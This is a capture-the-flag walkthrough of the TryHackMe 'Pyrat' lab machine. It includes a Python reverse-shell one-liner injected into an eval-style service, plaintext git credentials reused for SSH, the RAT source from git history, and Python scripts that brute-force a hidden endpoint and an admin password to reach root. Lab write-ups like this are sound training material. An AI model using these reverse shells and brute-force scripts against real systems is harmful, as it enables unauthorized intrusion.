THM - Pyrat
Target IP - 10.10.122.174
Enumeration
Nmap
Only after about 10 minutes did the service become visible. Using the following nmap scan, we are able to identify the services on the target system:
nmap -sC -sV -p- -vv --min-rate 10000 10.10.122.174
From this scan we receive the following output:
From this scan, we are able to identify that the ports 22 which is ssh and port 8000 which seems to be a python HTTP web server.
Website
We will now head to the website at the following url: http://10.10.122.174
At this url we see the following:
The website is suggesting that we use a more basic connection, we will make use of netcat to connect to the web server using the following command:
nc 10.10.122.174 8000
We will then write a test string to see if there is any response:
check
name 'check' is not defined
Shell as www-data
Here we see a python output for an undefined variable, so now we understand that we can run python code, so we will setup a python reverse shell, we will use the reverse shell generator
We will copy just the section inside the single quotes and place it into the netcat session that is running python but before we do so we will run the following listener:
nc -lvnp 1234
Now we can run the command:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.109.132",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
Now we have the shell:
Shell as think
Now after enumerating the file system, we see the usually empty /opt
directory is not empty and it contains a folder called /dev
.
ls -la /opt
total 12
drwxr-xr-x 3 root root 4096 Jun 21 2023 .
drwxr-xr-x 18 root root 4096 Dec 22 2023 ..
drwxrwxr-x 3 think think 4096 Jun 21 2023 dev
Now checking the /dev
directory we see an interesting file:
ls -la /opt/dev
total 12
drwxrwxr-x 3 think think 4096 Jun 21 2023 .
drwxr-xr-x 3 root root 4096 Jun 21 2023 ..
drwxrwxr-x 8 think think 4096 Jun 21 2023 .git
.git
: this file is very interesting because it can contain very vulnerable data such as credentials or git history which we can find other interesting pieces of data. Now checking the contents of the .git
directory we see the following:
ls -la /opt/dev/.git
total 52
drwxrwxr-x 8 think think 4096 Jun 21 2023 .
drwxrwxr-x 3 think think 4096 Jun 21 2023 ..
drwxrwxr-x 2 think think 4096 Jun 21 2023 branches
-rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG
-rw-rw-r-- 1 think think 296 Jun 21 2023 config
-rw-rw-r-- 1 think think 73 Jun 21 2023 description
-rw-rw-r-- 1 think think 23 Jun 21 2023 HEAD
drwxrwxr-x 2 think think 4096 Jun 21 2023 hooks
-rw-rw-r-- 1 think think 145 Jun 21 2023 index
drwxrwxr-x 2 think think 4096 Jun 21 2023 info
drwxrwxr-x 3 think think 4096 Jun 21 2023 logs
drwxrwxr-x 7 think think 4096 Jun 21 2023 objects
drwxrwxr-x 4 think think 4096 Jun 21 2023 refs
We will check the config file for any exposed credentials, now we see the following:
cat /opt/dev/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[user]
name = Jose Mario
email = josemlwdf@github.com
[credential]
helper = cache --timeout=3600
[credential "https://github.com"]
username = think
password = _TH1NKINGPirate$_
Here we see the a username and password, which we can attempt the connect using ssh (for a more stable shell) given the following, so now we can run the following command and inputting the password:
ssh think@10.10.122.174
Checking the home directory we see the first flag:
996bdb1f619a68361417cabca5454705
Shell as root
When we logged in with ssh, we saw the following message:
Now heading to the mail directory in /var/mail
and checking the mail there, we see the following:
From root@pyrat Thu Jun 15 09:08:55 2023
Return-Path:
X-Original-To: think@pyrat
Delivered-To: think@pyrat
Received: by pyrat.localdomain (Postfix, from userid 0)
id 2E4312141; Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
Subject: Hello
To:
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20230615090855.2E4312141@pyrat.localdomain>
Date: Thu, 15 Jun 2023 09:08:55 +0000 (UTC)
From: Dbile Admen
Hello jose, I wanted to tell you that i have installed the RAT you posted on your GitHub page, i'll test it tonight so don't be scared if you see it running. Regards, Dbile Admen
Essentially, what this is saying, is that we should continue to check the git files, so heading back to /opt/dev/.git
we will run some git commands to identify more information about this RAT.
git log
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint
Now we can check the changelog in the commit using the following:
git show 0a3c36d66369fd4b07ddca72e5379461a63470bf
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master)
Author: Jose Mario
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint
diff --git a/pyrat.py.old b/pyrat.py.old
new file mode 100644
index 0000000..ce425cf
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
+...............................................
+
+def switch_case(client_socket, data):
+ if data == 'some_endpoint':
+ get_this_enpoint(client_socket)
+ else:
+ # Check socket is admin and downgrade if is not aprooved
+ uid = os.getuid()
+ if (uid == 0):
+ change_uid()
+
+ if data == 'shell':
+ shell(client_socket)
+ else:
+ exec_python(client_socket, data)
+
+def shell(client_socket):
+ try:
+ import pty
+ os.dup2(client_socket.fileno(), 0)
+ os.dup2(client_socket.fileno(), 1)
+ os.dup2(client_socket.fileno(), 2)
+ pty.spawn("/bin/sh")
+ except Exception as e:
+ send_data(client_socket, e
+
+...............................................
Looking at the code we can see that this has some similarities with the service we connected to, to get the shell as www-data. So this is probably the service that is running, we also see that the code checks for some data that is passed to it before downgrading, so we need to provide the service with some data that will be used and give us an admin shell. To do so we will connect to the socket and use a custom wordlist to check for any words that give a different output than 'name {word} is not defined'. Here is the python script that I used to find the word, although it is very slow (you'll need to use threading to make it quicker, or some module):
import socket
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('10.10.126.55', 8000))
with open('/usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt') as f:
lines = f.readlines()
for line in lines:
client.send(line.encode())
from_server = client.recv(4096)
if 'not' in str(from_server):
continue
print(f'Word: {line}')
print(str(from_server))
client.close()
print('Done')
Now running the code we receive the following word:
Word: admin
b'Start a fresh client to begin.\n'
Done
Now testing this ourselves, we see the following:
nc 10.10.126.55 8000
admin
admin
Password:
Seeing this we understand that we need to change our script, or make a new script to first send admin, then use a wordlist to attempt to bruteforce the password.
import socket
with open('/usr/share/wordlists/seclists/Passwords/500-worst-passwords.txt') as f:
passwords = f.readlines()
for password in passwords:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('10.10.126.55', 8000))
client.send('admin'.encode())
from_server = client.recv(4096)
client.send(password.encode())
from_server = client.recv(4096)
if 'Password' not in str(from_server):
print(f'Password: {password}')
print(from_server)
client.close()
break
client.close()
print("Done")
Running this code, we receive the following:
Password: abc123
b'Welcome Admin!!! Type "shell" to begin\n'
Done
Now using these credentials, we are able to receive a shell as root.
nc 10.10.126.55 8000
admin
Password:
abc123
Welcome Admin!!! Type "shell" to begin
shell
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
Now looking at the root directory we receive the second flag:
ba5ed03e9e74bb98054438480165e221